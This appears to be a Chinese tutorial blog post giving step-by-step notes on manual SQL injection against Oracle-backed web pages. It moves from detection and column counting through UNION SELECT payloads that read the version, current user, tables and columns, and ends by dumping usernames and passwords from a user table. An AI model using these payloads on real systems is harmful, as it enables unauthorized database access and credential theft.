oracle 判断字段必须是数字_某教程学习笔记(一):10、oracle数据库注入

这个社会,最可悲的莫过于那些既不是学霸,也不全是学渣的人,他们听不懂课,作业不会做,不逃课,不捣乱纪律,为考试着急,却又无奈与现状,三分钟热度,又恨自己不争气,更是以最普遍的身份埋没在人群中,正过着最最煎熬的日子。。。。

---- 网易云热评

一、Oracle数据库

一般大型企业都会用到,物流、旅游、航空、银行等等。。。

1、支持多用户、大事务量的处理

2、数据安全性和完整性的有效控制

3、支持分布式数据处理

4、移植性强

二、手动注入

1、判断是否存在

and 1=1 返回正常

and 1=2 返回错误

a6585ac81a7858c1a87733190955e4bd.png

2、判断是否是Oracle数据库

and exists(select * from dual)

and exists(select * from user_tables)

返回正常说明是oracle

3、判断数列

order by 2 返回正常,说明有两列

4、联合查询

union select null,null from dual,这里不能写1,2 需要用null替换,然后将每个null用数字和字符替换一下,发现数字就报错,字符不报错

union select 1,null from dual 报错

union select null,1 from dual 报错

union select 'null','null' from dual 返回如下界面,这时就可以用下面的查询语句了

83d9c2cb8a84305e1f192428e6e1a94b.png

5、获取数据库版本

(select banner from sys.v_$Version where rownum=1)

64eb1fc1955619e8c5d1ba534d8deb3c.png

6、获取连接数据库的当前用户

(select SYS_CONTEXT('USERENV','CURRENT_USER')from dual)

f183b892317739b7cf77110d43becfe3.png

7、获取数据库

(select instance_name from v$instance) 获取当前数据库

be98cbe8eff9194f4a66f17c566d9f68.png

(select owner from all_tables where rownum=1)获取第一个数据库

a78b442b93743a0f231cd831330e7258.png

(select owner from all_tables where rownum=1 and owner<>'SYS')获取第二个数据库

8、获取表名

(select table_name from user_tables where rownum=1 and table_name like '%users%') from dual

5ad471982b738a5110d132f67ba62e47.png

10、获取列名

(select column_name from user_tab_columns where table_name='sns_users' and rownum=1)

eed835fcd89073abc5f37e8acf6d34dc.png

11、获取第二列名

(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name<>'USER_NAME')

12、获取字段内容

id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users"

2c9810ebad18215a544da69be31e5951.png

union select USER_NAME,USER_PWD from "sns_users" where USER_NAME<>'hu' 获取第二个用户信息

禁止非法,后果自负

欢迎关注公众号:web安全工具库

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值